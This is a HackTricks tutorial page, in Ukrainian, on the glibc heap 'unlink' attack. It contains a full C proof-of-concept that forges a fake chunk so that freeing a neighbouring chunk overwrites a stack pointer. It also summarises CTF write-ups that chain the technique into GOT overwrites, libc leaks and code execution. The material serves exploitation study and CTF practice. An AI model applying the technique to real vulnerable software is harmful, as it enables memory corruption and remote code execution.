Unlink Attack
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Information
Коли ця атака була виявлена, вона в основному дозволяла WWW (Write What Where), однак деякі перевірки були додані, що зробило нову версію атаки більш цікавою, більш складною та марною.
Code Example:
Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- Атака не працює, якщо використовуються tcaches (після 2.26)
Мета
Ця атака дозволяє змінити вказівник на шматок, щоб він вказував на 3 адреси перед собою. Якщо це нове місце (околиці, де знаходився вказівник) містить цікаві дані, такі як інші контрольовані алокації / стек..., можна їх прочитати/перезаписати, щоб завдати більшої шкоди.
- Якщо цей вказівник знаходився в стеці, оскільки тепер він вказує на 3 адреси перед собою, і користувач потенційно може його прочитати та змінити, буде можливим витік чутливої інформації зі стеку або навіть змінити адресу повернення (можливо), не торкаючись канарки.
- У прикладах CTF цей вказівник знаходиться в масиві вказівників на інші алокації, тому, зробивши його вказівником на 3 адреси перед собою і маючи можливість читати та записувати, можна змусити інші вказівники вказувати на інші адреси.
Оскільки користувач також може читати/записувати інші алокації, він може витікати інформацію або перезаписувати нові адреси в довільних місцях (наприклад, у GOT).
Вимоги
- Деякий контроль у пам'яті (наприклад, стек), щоб створити кілька шматків, задаючи значення деяким з атрибутів.
- Витік зі стеку для налаштування вказівників фальшивого шматка.
Атака
- Є кілька шматків (chunk1 і chunk2)
- Атакуючий контролює вміст chunk1 і заголовки chunk2.
- У chunk1 атакуючий створює структуру фальшивого шматка:
- Щоб обійти захист, він переконується, що поле
size
правильне, щоб уникнути помилки:corrupted size vs. prev_size while consolidating
- і поля
fd
таbk
фальшивого шматка вказують на те, де зберігається вказівник chunk1 з офсетами -3 і -2 відповідно, так щоfake_chunk->fd->bk
іfake_chunk->bk->fd
вказують на позицію в пам'яті (стек), де знаходиться реальна адреса chunk1:
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Заголовки chunk2 модифікуються, щоб вказати, що попередній шматок не використовується і що розмір є розміром фальшивого шматка.
- Коли другий шматок звільняється, цей фальшивий шматок відключається, відбувається:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- Раніше було зроблено так, що
fake_chunk->fd->bk
іfake_chunk->bk->fd
вказують на те саме місце (місце в стеці, де зберігавсяchunk1
, тому це був дійсний зв'язаний список). Оскільки обидва вказують на те саме місце, лише останнє (fake_chunk->bk->fd = fake_chunk->fd
) матиме ефект. - Це перезапише вказівник на chunk1 у стеці на адресу (або байти), збережені на 3 адреси перед у стеці.
- Тому, якщо атакуючий знову зможе контролювати вміст chunk1, він зможе записувати всередині стеку, потенційно перезаписуючи адресу повернення, пропускаючи канарку, і змінюючи значення та вказівники локальних змінних. Навіть знову змінюючи адресу chunk1, збережену в стеці, на інше місце, де, якщо атакуючий знову зможе контролювати вміст chunk1, він зможе записувати куди завгодно.
- Зверніть увагу, що це було можливим, оскільки адреси зберігаються в стеці. Ризик і експлуатація можуть залежати від де зберігаються адреси фальшивого шматка.
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
Посилання
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Хоча було б дивно знайти атаку unlink навіть у CTF, тут ви маєте кілька звітів, де ця атака була використана:
- Приклад CTF: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- У цьому прикладі, замість стеку є масив адрес malloc'ed. Атака unlink виконується, щоб мати можливість виділити шматок тут, отже, контролюючи вказівники масиву malloc'ed адрес. Потім є ще одна функціональність, яка дозволяє змінювати вміст шматків у цих адресах, що дозволяє вказувати адреси на GOT, змінювати адреси функцій для отримання витоків і RCE.
- Ще один приклад CTF: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- Як і в попередньому прикладі, є масив адрес алокацій. Можна виконати атаку unlink, щоб зробити адресу до першої алокації вказувати на кілька позицій перед початком масиву і перезаписати цю алокацію в новій позиції. Таким чином, можна перезаписати вказівники інших алокацій, щоб вказувати на GOT функції atoi, вивести її, щоб отримати витік libc, а потім перезаписати GOT atoi адресою до одного гаджета.
- Приклад CTF з кастомними функціями malloc і free, які зловживають вразливістю, дуже схожою на атаку unlink: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- Є переповнення, яке дозволяє контролювати вказівники FD і BK кастомного malloc, які будуть (кастомно) звільнені. Більше того, купа має біт exec, тому можливо витікати адресу купи і вказувати функцію з GOT на шматок купи з shellcode для виконання.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.